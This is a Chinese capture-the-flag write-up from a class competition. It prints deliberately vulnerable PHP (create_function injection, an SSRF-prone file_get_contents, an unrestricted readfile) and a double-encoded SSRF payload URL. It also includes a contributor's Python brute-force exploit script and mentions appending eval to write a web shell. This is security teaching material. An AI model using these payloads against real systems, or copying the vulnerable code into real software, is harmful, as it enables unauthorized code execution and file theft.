班级对抗赛WriteUp

目标达成,美滋滋~

0x01 签到题

因为没找到游戏入口,这道题我真的做了很长时间…… 正确的套路是,比赛开始前进入平台等待,然后弹出游戏界面,游戏失败几次之后自动弹flag,Getflag! 然而我的情况是,比赛开始后匆匆忙忙进入平台注册,注册完立刻去看题,然后在签到题这里纠结了十几分钟,中间尝试了无数种Google搜答案,试过游戏英文名、作者名等一切乱七八糟的东西,然后还是没弄到flag…… 听说春哥更牛,打游戏打了半个小时愣是没输,然后一直拿不到flag,23333

0x02 奇怪的审计

这道题还是很有意思的,不愧是教授出手 进入题目发现赤果果的源码:

<?php
include_once('flag.php');
show_source(__FILE__);
class D0g3{
    public $name;
    function __construct($name) {
        $this->name = $name;
    }
    function __destruct()
    {
        $arg = $_GET['arg'];
        if (md5($this->name) == 20171126){
            $some_thing_interesting    = create_function("", "var_dump($arg);");
            $_GET["func"]();
        }
        else
        {
            echo 'maybe you can create some function for me???';
        }

    }
}
function user($model){
    if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1' || $model === 'D0g3'){
        die('permission denied');
    }
    else
        new $model($_GET['name']);
}

function upJpg($host){
    $host = $host.'D0g3.jpg';
    $data = file_get_contents($host);
    $mt = mt_rand();
    file_put_contents("upload/".$mt. "_D0g3.jpg", $data);
    echo 'update success: '.$mt. "_D0g3.jpg";
}


$model = $_GET['m'];
$action = $_GET['a'];
$host = $_GET['h'];
if ($model){
    $user = user($model);

}

if($action === 'upJpg'){
    upJpg($host);
}

最开始毫无思绪,看到__destruct方法本能地想到反序列化,但是没找到可控的入口(反序列化不一定要从unserialize()进入,这个以后再聊) 后面看到了两篇文章:

https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#baby-h-master-php-2017 https://tricking.io/topic/9/

在匿名函数那里是类似的,但本题没有Phar读取文件,只能继续找其它的方法

        $some_thing_interesting    = create_function("", "var_dump($arg);");
        $_GET["func"]();

这里有一个create_function创建自定义函数,然后在下面通过GET传递func参数可以直接调用,也就是说如果我们能知道create_function创建的匿名函数名,就可以任意代码执行

在LoRexxar师傅的文章中写道 > 获取flag的函数是通过create_function,并没有设置函数名字,但其实这里声明的函数是有函数名的,匿名函数会被设置为00lambda_%d,这里的%d是顺序递增的。 > 这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。

所以这里需要写python脚本爆破

但在这段代码之前还有两个条件需要满足, 第一个:md5($this->name) == 20171126 $this->name是可控的 这里是一个Md5弱类型比较,如果能构造一个语句令其md5之后的结果是20171126****,星号表示非数字字符,这样的话PHP弱类型自动转换,就会转换为20171126,从而满足条件。 怎么找这个md5呢? 写脚本爆破:

<?php
for ($i=0; $i < 999999999; $i++) { 
    if (md5($i) == 20171126) {
        echo $i.'<br>'.md5($i);
        breake;
    }
}
echo "ok";
?>

但这个数字确实太难爆了,而且场上的时候也不清楚纯数字能不能爆出来,幸好,出题人最后在提示公告中放出了md5的值:2980909641

第二个: if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1' || $model === 'D0g3')

如果满足if条件就直接die掉,所以需要让这两个条件都为false,第二个model好说,直GET接传递m参数为'D0g3'即可。

这是用来判断请求来源IP的一个全局变量,我们需要让它等于‘127.0.0.1’,但和$_SERVER['HTTP_CLIENT_IP']以及$_SERVER['HTTP_X_FORWARDED_FOR']不同,这个全局变量是从最后一个握手包中获取的,无法通过Brup修改。 不过没关系,因为代码中还存在一个SSRF漏洞:

function upJpg($host){
    $host = $host.'D0g3.jpg';
    $data = file_get_contents($host);
    $mt = mt_rand();
    file_put_contents("upload/".$mt. "_D0g3.jpg", $data);
    echo 'update success: '.$mt. "_D0g3.jpg";
}

这里的file_get_contents($host),如果传入一个url的话,这个页面就会从内部请求url链接,从而可以令if条件等于false,从而执行下面的new语句

进入new之后就好说了,因为代码头部包含了flag.php,所以猜测flag在一个变量中,带入参数\(arg='\)GLOBALS'就可以var_dump所有的变量,从而GetFlag!

http://222.18.158.242:10001/index.php?a=upJpg&h=http%3a//127.0.0.1/index.php%3fm%3dd0g3%26name%3d2980909641%26arg%3d$GLOBALS%26func%3d%2500lambda_1%2523%23

这里有两个需要注意的地方: 1. h参数的内容需要进行两次url编码,因为浏览器回车的时候会解析一次,file_get_contnet的时候又会解析一次 2. payload的最后是%2523%23,最后一个%23是为了注释掉h参数后面拼接的'_D0g3.jpg'

最后通过脚本爆破payload中的%3d就好

献上Sn00py师傅的exp:

#! /usr/bin/env python3
# Author : sn00py
# Date : 11/26 10:09
# Email: 3022235906@qq.com
# Comment: no comment
import requests
import re
url = "http://255.255.255.255/index.php?a=upJpg&h=http%3a//127.0.0.1/index.php%3fm%3dd0g3%26name%3d2980909641%26arg%3d$GLOBALS%26func%3d%2500lambda_1%2523%23"
while True:
    try:
        res = requests.get(url)
        img = re.search(r"update success: (.+)", res.text).group(1)
        img_url = "http://222.18.158.242:10001/upload/" + img
        print(img_url)
        res = requests.get(img_url)
        if 'array' in res.text:
            print(res.text)
            break
    except Exception as e:
        continue

还有一个更简单的方法,也是Sn00py师傅想出来的,就是传入arg参数的时候,直接闭合var_dump,在后面跟上一个eval函数,直接写shell。

0x03 文件读取

开始时,提示买了个mac,没懂啥意思,修改agent头也没用 然后上扫描器,扫到了phpinfo.php,以及.DS_Store路径泄露 使用Github上的工具查看泄露内容

访问ctf1目录,发现 直接访问download.php只能得到一个空文件,这个时候看提示,read,post 尝试post一个read参数 下载下来就是index.php的源码 然后下载download.php自己的源码

<?php
error_reporting(0);

header("Content-Type: application/octet-stream");

header("tips: suanle,bi jiao jian dan");

if(stripos($_POST['read'], 'maybehere') !== false) exit();

readfile('' . $_POST['read']); 

?>

不允许出现maybehere关键字

0x04 捉迷藏

忘了题目是啥名字了,是一个typecho爆出的cms……和我在第一组环境中出的题目撞了……2333 这也是本次比赛最有乐趣的一道题,莫名为线下赛兴奋 exp 直接打过去就行 打过去 然后写入一个phpinfo.php进行查看 搜索f14g字样,找到 f14g{hoskskbsmeemosancvyx} 提交后发现不对 想起公告栏提示了一个解密key,再结合文件名hill 联想到hill加密 通过Google找到一个在线hill解密网站 解密即可 后面的内网题目也一直没弄出来,惭愧惭愧……